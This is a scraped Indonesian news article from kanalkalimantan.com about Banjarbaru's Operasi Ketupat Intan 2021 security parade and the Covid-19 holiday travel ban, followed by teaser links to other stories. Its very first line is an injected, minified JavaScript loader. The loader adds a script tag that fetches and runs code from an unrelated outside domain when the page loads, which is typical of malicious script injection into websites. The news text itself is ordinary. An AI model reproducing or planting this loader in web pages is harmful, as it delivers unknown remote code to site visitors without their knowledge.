(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kebijakan pelarangan mudik oleh pemerintah upaya mencegah terjadinya penyebaran Covid-19.
Dimana setiap pelaksanaan libur panjang selalu terjadi peningkatan penyebaran Covid-19 yang cukup signifikan.
“Kenyataan bahwa masyarakat telah melaksanakan mudik sebelum tanggal pelarangan, harus dilakukan langkah-langkah konkrit di setiap wilayah tujuan mudik,” ujar Wali Kota Banjarbaru Aditya Mufti Ariffin saat menjadi inspektur upacara apel gelar pasukan Operasi Ketupat Intan 2021, di Mapolres Banjarbaru, Rabu (5/5/2021).
Apel gelar pasukan Operasi Ketupat Intan 2021 dalam rangka pengamanan Hari Raya Idul Fitri 1442 Hijriah, baik pada aspek personil maupun sarana prasarana, serta keterlibatan unsur terkait seperti TNI, pemerintah daerah, dan mitra Kamtibmas.
Baca juga: Harga Minyak Goreng Naik, Disdag Kalsel Cek Stok di Gudang Bulog
“Peningkatan aktifitas masyarakat pada bulan Ramadhan, menjelang, pada saat dan sesudah Idul Fitri tentu saja sangat berpotensi menimbulkan gangguan Kamtibmas, gangguan Kamseltibcar Lantas dan pelanggaran protokol kesehatan Covid-19,” kata Wali Kota Banjarbaru membacakan amanat Kapolri Jenderal Pol Listyo Sigit Prabowo.
Kapolri meminta gelar kekuatan Polri pada pos-pos pengamanan dan pelayanan di titik-titik rawan kriminalitas, titik-titik kemacetan dan kecelakaan lalu lintas. Sehingga mampu bertindak cepat dan tepat, koordinasikan dengan Satgas Covid-19.
“Pengawasan secara ketat terhadap tempat-tempat wisata, agar bisa membatasi jumlah pengunjung maksimal 50% dari daya tampung, dan juga mengurai pengunjung jika terjadi kerumunan,” kata Wali Kota Banjarbaru.
Sementara itu, Kapolres Banjarbaru AKBP Doni Hadi Santoso menyebutkan, akan memberikan atensi ke lokasi-lokasi wisata yang berpotensi menciptakan kerumunan masa libur lebaran.
Baca juga: Jelang Pilkades Serentak 24 Mei, Pemkab Banjar Gelar Deklarasi Damai
“Kita akan mendirikan pos-pos pelayanan di 3 titik lokasi. Pertama di Qmall Banjarbaru, kedua di depan Komplek Citra Graha Liang Anggang dan perempatan LIK,” ujarnya.
Ya, di Banjarbaru mempunyai tempat wisata yang memiliki magnet kuat menarik warga baik di dalam maupun luar Banjarbaru menghabiskan waktu libur panjang, salah satunya Qmall.
“Yang datang ke Qmall Banjarbaru terlebih dahulu harus menerapkan protokol kesehatan dan dicek suhu sebelum masuk,” tegasnya. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
This website uses cookies.